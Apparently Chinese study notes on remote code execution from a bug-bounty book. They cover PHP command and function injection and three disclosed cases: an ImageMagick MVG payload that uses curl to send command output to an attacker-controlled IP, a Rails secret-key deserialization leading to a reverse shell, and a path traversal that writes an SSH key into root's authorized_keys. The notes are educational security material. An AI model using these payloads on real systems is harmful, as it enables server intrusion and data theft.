遠端程式碼執行(Remote Code Execution,RCE)發生在應用程式使用未 sanitize 的使用者輸入時。RCE 通常以兩種方式被利用:
- 執行 shell 指令——攻擊者可在伺服器作業系統層級下指令
- 執行程式語言函式——攻擊者觸發應用程式語言內建函式
透過 Shell 指令執行#
考慮一段 PHP,提供 ping 服務:
$domain = $_GET['domain'];
echo shell_exec("ping -c 1 $domain");正常 ?domain=google.com 沒事;攻擊者送 ?domain=google.com;id:
PING google.com (172.217.5.110) 56(84) bytes of data.
...
uid=1000(yaworsk) gid=1000(yaworsk) groups=1000(yaworsk); 在 bash 把指令串起,id 同時被執行——回應裡夾帶執行身份資訊。
RCE 嚴重度取決於執行身份的權限。如果以
root跑,整台機器都可被攻陷;以低權限身分跑,攻擊者可能還需透過 本地提權(Local Privilege Escalation,LPE) 才能造成更大破壞。
防禦:escapeshellcmd 與其侷限#
PHP 的 escapeshellcmd 會把可能讓 shell 解析成額外指令的字元跳脫掉。但要注意:
- 它不會阻止傳遞命令列旗標
- 例如
-o之類的旗標可能改變指令行為,仍可造成漏洞
透過函式執行#
$action = $_GET['action'];
$id = $_GET['id'];
call_user_func($action, $id);正常 ?id=1&action=view 顯示文章;但攻擊者送:
?id=/etc/passwd&action=file_get_contents等同於 file_get_contents("/etc/passwd")——讀出整份密碼檔。如果參數沒過濾,還能呼叫 shell_exec、system、exec 直接跳到 shell 指令層級。
RCE 升級的常見方向#
- 任意檔案上傳:上傳
.php後直接拜訪該檔,伺服器當原生程式碼執行 - 範本注入:第 8 章已示範 Jinja2、Smarty 升級為 RCE
- Deserialization:未經驗證的物件反序列化常導致 RCE
- LPE:核心漏洞、以 root 跑的 service、SUID 執行檔
找 RCE 線索時,留意 URL 參數中:
- 系統層級指令的字眼(
ping、whois)- 像
action=、func=這類「函式名稱可控」的設計- 可上傳任意檔案的入口
案例 1:Polyvore ImageMagick#
- 難度:中
- URL:Polyvore.com(Yahoo! 旗下)
- 回報來源:http://nahamsec.com/exploiting-imagemagick-on-yahoo/ ↗
- 回報日期:2016-05-05
- 獎金:$2,000
背景#
ImageMagick 是廣泛使用的影像處理函式庫。2016 年 4 月公開揭露多個漏洞,其中最嚴重的是 delegate 功能(將處理委託給外部程式):
"wget" -q -O "%o" "https:%M"%M 是使用者控制的網域,未 sanitize。送入:
https://example.com";|ls "-la伺服器實際執行:
wget -q -O "%o" "https://example.com";|ls "-la"; 串起額外指令——RCE 成立。
ImageMagick 會根據檔案內容判斷格式,而非副檔名。攻擊者把
.mvg改名為.jpg仍會被當 MVG 處理,繞過副檔名檢查。
漏洞描述#
研究者 Ben Sadeghipour 在自己伺服器先重現 PoC,再到尚未修補的站點測試。他用 imagetragick.com 提供的範例 MVG:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id | curl http://SOMEIPADDRESS:8080/ -d @- > /dev/null`'
pop graphic-context關鍵:
- 反引號
`讓 shell 先執行id,再把輸出 - 用
|透過curl -d @-以 POST 送回 Sadeghipour 的 IP > /dev/null把所有輸出丟掉,避免目標機器留下蛛絲馬跡
他用 nc -l -n -vv -p 8080 在自己機器監聽,把這個 MVG 上傳成 Polyvore 的圖片,立刻收到帶有 uid=... 的 POST 請求。
Takeaways#
- 訂閱套件公告:CVE 揭露後,掃描尚未修補的目標常能挖到漏洞
- 在自家伺服器先重現 PoC:能保證 payload 真的有效,再把目標換成正式測試對象
案例 2:Algolia RCE on facebooksearch.algolia.com#
- 難度:高
- URL:
facebooksearch.algolia.com- 回報來源:https://hackerone.com/reports/134321/ ↗
- 回報日期:2016-04-25
- 獎金:$500
漏洞描述#
HackerOne 共同創辦人 Michiel Prins 用 Gitrob
↗ 掃 Algolia 相關 GitHub repo,搜尋 password、secret、database 等敏感關鍵字。發現 Algolia 把 Rails 的 secret_key_base 直接 commit 到公開 repo。
Rails 用
secret_key_base對 Cookie 簽章,預設情境下還會把 session 序列化進 Cookie。一旦這個 secret 外洩:
- 攻擊者可以偽造任意簽章 Cookie
- 若 cookiestore 被反序列化時遇到惡意物件 → RCE
Prins 用 Metasploit 的 Rails Secret Deserialization 模組產生會觸發 reverse shell 的 Cookie,送往 Algolia 後成功取得 shell。執行 id 顯示 uid=1000(prod) ...,並建立 hackerone.txt 作為 PoC。
Takeaways#
- 用工具掃 GitHub 找洩漏的 secret 是高 CP 值的 recon
- Deserialization 漏洞複雜,但有現成工具:
- Rapid7 Rails Secret Deserialization ↗(舊版 Rails)
- Chris Frohoff 的 ysoserial ↗(Java)
案例 3:RCE Through SSH#
- 難度:高
- URL:N/A
- 回報來源:https://blog.jr0ch17.com/2018/No-RCE-then-SSH-to-the-box/ ↗
- 回報日期:2017 年秋
- 獎金:未公開
漏洞描述#
Jasmin Landry 的攻擊鏈展示了「找不到直接 RCE,可用任意檔案寫入轉成 SSH 公鑰寫入」的經典手法:
- 用 Sublist3r、Aquatone、Nmap 找到大量子網域
- EyeWitness 自動截圖快速篩出可疑站點
- 找到一個老舊開源 CMS,預設帳密
admin:admin直接登入 - 審原始碼發現服務以 root 跑——大紅旗
- 找到
POST /api/i/services/site/write-configuration.json?path=...端點,可寫入任意檔案 - 用
../../../../...路徑遍歷 - 嘗試直接寫入 PHP 但無法執行 → 改寫 SSH 公鑰:
path=../../../../../../../../../../../../root/.ssh/authorized_keys - 用自己的 SSH 私鑰登入 →
id顯示uid=0(root)
Takeaways#
- 子網域列舉是大型目標的必修課
- 第一招(檔案寫入 → PHP 執行)失敗時,重新思考路徑——SSH 公鑰、cron job、systemd unit 都是可寫的高價值檔
- 完整的影響鏈會直接拉高獎金級距
章末總結#
- RCE 有兩種主流形式:指令注入 與 函式注入
- 影響取決於執行身份;root → 全機淪陷
- 找漏洞線索:
- URL 參數出現
ping、exec、action等系統相關字眼 - 任意檔案上傳且伺服器會解譯
- 套件 CVE 公告後尚未修補的站點
- GitHub 上洩漏的 secret/token
- URL 參數出現
- 找到後別急著停手——可串接:檔案寫入 → SSH key、檔案讀取 → 設定外洩、Deserialization → reverse shell